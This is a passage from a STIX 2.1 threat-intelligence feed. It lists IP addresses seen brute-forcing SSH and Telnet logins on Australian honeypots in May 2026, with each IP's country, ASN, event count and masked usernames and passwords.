      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4, d****s, f******r, g*****o. Passwords observed (masked): ***, 1****6, 1******q, 3***********4, 3**********4.",
      "id": "indicator--84d8a8d1-1eb2-49a4-b0c7-eedc751cf2ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.43.83.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T13:15:11.000Z",
      "valid_until": "2026-06-30T13:15:08.000Z"
    },
    {
      "created": "2026-05-29T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t, 3**********4, t***1, u****u. Passwords observed (masked): 1******x, 3***********4, 3**********4, L*******6, t******4.",
      "id": "indicator--278497c2-8597-4497-abe6-508f175ab831",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.176.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T13:15:11.000Z",
      "valid_until": "2026-06-30T13:15:08.000Z"
    },
    {
      "created": "2026-05-29T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 302. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t, 3**********4, a***n, j**n, u****u. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, 1****6.",
      "id": "indicator--6ef2b969-1e34-4912-898e-4b20617bd1da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.63.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T13:15:11.000Z",
      "valid_until": "2026-06-30T13:15:08.000Z"
    },
    {
      "created": "2026-05-29T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 47583. Organisation(s): Hostinger International Limited.",
      "id": "indicator--b19ae766-31a8-4c2b-917a-5afd96f24be7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.61.58.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T13:15:11.000Z",
      "valid_until": "2026-06-30T13:15:08.000Z"
    },
    {
      "created": "2026-05-29T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--aa6388e1-261b-4a42-9297-db9336585d76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:15:10.000Z",
      "valid_until": "2026-06-30T14:15:08.000Z"
    },
    {
      "created": "2026-05-29T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 207713. Organisation(s): Global Internet Solutions LLC. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--8da5b8ae-2841-4083-9399-3f37ccfd2c46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.23.113.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:15:10.000Z",
      "valid_until": "2026-06-30T14:15:08.000Z"
    },
    {
      "created": "2026-05-29T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 40995. Organisation(s): Sibirskie Seti Ltd.. Usernames observed (masked): r**t, a***n, 3**********4, d**a, l**a. Passwords observed (masked): 1**4, 1*******D, 1******X, 3***********4, 3**********4.",
      "id": "indicator--d0a93f36-ba8c-49de-b9e1-a902eff8c971",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.111.175.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:15:11.000Z",
      "valid_until": "2026-06-30T15:15:08.000Z"
    },
    {
      "created": "2026-05-29T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4582. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, d****y, u**r, u****u. Passwords observed (masked): 1****6, ***, *, 1**4, r**t.",
      "id": "indicator--d9aecb8b-15e8-46de-9bce-200d543ca9a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:15:11.000Z",
      "valid_until": "2026-06-30T15:15:08.000Z"
    },
    {
      "created": "2026-05-29T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--ffeda659-291a-409e-add1-a3b620a79b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.44.121.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:15:11.000Z",
      "valid_until": "2026-06-30T15:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 105. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136834. Organisation(s): POLITANI Pangkep. Usernames observed (masked): r**t, 3**********4, a***n, e******d, r***o. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1******8, A******1.",
      "id": "indicator--703b3905-9bb9-457f-9669-2bf48e710de6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.100.84.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, v**d. Passwords observed (masked): *, r******2.",
      "id": "indicator--8830854e-d849-4d5f-b0a9-a8f0eb67c9b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.121.37.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--02b490c2-d5f3-47ac-9e78-b0f03f467ae2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): a***n, 3**********4. Passwords observed (masked): 3***********4, 3**********4, f****************4.",
      "id": "indicator--8d7e89f6-d50d-4059-ad56-600dea13d383",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.245.153.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 133752. Organisation(s): LEASEWEB HONG KONG LIMITED. Usernames observed (masked): r**t, 3**********4, a***n, t**t, t***5. Passwords observed (masked): 3***********4, 3**********4, ***, 1******8, 1*******D.",
      "id": "indicator--f2aa1a09-5524-43c0-a435-8ef5bf29ee24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.23.128.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--1fb52d1c-5039-4b3f-9e0d-e28a36aa1702",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 15169. Organisation(s): Google LLC.",
      "id": "indicator--288e9699-7ee2-415f-aaf9-9b850e2ce191",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.216.201.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n, 3**********4. Passwords observed (masked): 3***********4, 3**********4, f****************4.",
      "id": "indicator--550c0203-27c8-4329-8b8f-99b9302afa1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.108.20.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a***n, m****o, u****u. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1********!, 1*******D.",
      "id": "indicator--4154146e-8f8c-4c93-8ef7-0fae59c99f77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.128.120.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:15:12.000Z",
      "valid_until": "2026-06-30T16:15:08.000Z"
    },
    {
      "created": "2026-05-29T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fa0b515b-0e16-4bfb-85a1-bfe003506a16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.228.10.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:15:11.000Z",
      "valid_until": "2026-06-30T17:15:08.000Z"
    },
    {
      "created": "2026-05-29T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 12271. Organisation(s): Charter Communications Inc.",
      "id": "indicator--03a4b28f-4b5b-4a8b-a1d7-20e7d668bc9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.103.107.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:15:11.000Z",
      "valid_until": "2026-06-30T17:15:08.000Z"
    },
    {
      "created": "2026-05-29T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--90c3cc5c-639f-4c84-83b6-47b6ee832a1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.53.75.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T17:15:11.000Z",
      "valid_until": "2026-06-30T17:15:08.000Z"
    },
    {
      "created": "2026-05-29T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--bd579c42-2e22-4d01-9baf-46ff83f8530a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T18:15:11.000Z",
      "valid_until": "2026-06-30T18:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3d9cd746-f6ce-47f7-8462-a6c416db6428",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.18.14.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t, t***g. Passwords observed (masked): 1*******!, t*******3.",
      "id": "indicator--361a1fa2-63a9-49f3-8993-1a6af60492e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.244.96.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45528. Organisation(s): Tikona Infinet Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1********6.",
      "id": "indicator--938db770-22fa-40dd-aef9-70c1752ccaac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.193.234.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--e035a1bf-60fb-4e15-9ecd-ce1a51ffdc6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.86.88.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, f******a, 3**********4, ***, **. Passwords observed (masked): *, 1**4, 1*******!, 3***********4, 3**********4.",
      "id": "indicator--f7b322f0-fc7e-4e4f-93cb-080d5d294bc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.169.201.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t. Passwords observed (masked): z******6.",
      "id": "indicator--5038ea49-7957-4d8a-8bcf-e66df4f323d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.51.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 102. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, r*********6, 3**********4, ***, d****y. Passwords observed (masked): ***, r**t, 0********9, 1*******9, 3***********4.",
      "id": "indicator--e2617424-2409-4441-be0e-5305299b4bde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.106.137.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): f*****r. Passwords observed (masked): Q*******3.",
      "id": "indicator--9b0efe3e-597d-4f17-988b-e4340a74e9a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.227.246.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): s***r. Passwords observed (masked): x******W.",
      "id": "indicator--839ca33d-e124-481d-a7f9-586c82348a2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.32.156.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139989. Organisation(s): CV Atha Media Prima. Usernames observed (masked): a***n. Passwords observed (masked): a********5.",
      "id": "indicator--168e7c14-45e6-4c0f-87f6-1612ea26a82a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.216.177.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 213029. Organisation(s): Pro Data-tech Mchj. Usernames observed (masked): c*****e. Passwords observed (masked): c*****e.",
      "id": "indicator--a9bbee9f-e1e2-4944-8512-08b97504978d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.46.211.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T19:15:10.000Z",
      "valid_until": "2026-06-30T19:15:08.000Z"
    },
    {
      "created": "2026-05-29T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): r********6, ?***************-.",
      "id": "indicator--53b58d17-f063-4665-a152-edbaebbbff57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.197.102.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:15:11.000Z",
      "valid_until": "2026-06-30T20:15:08.000Z"
    },
    {
      "created": "2026-05-29T20:15:11.000Z",
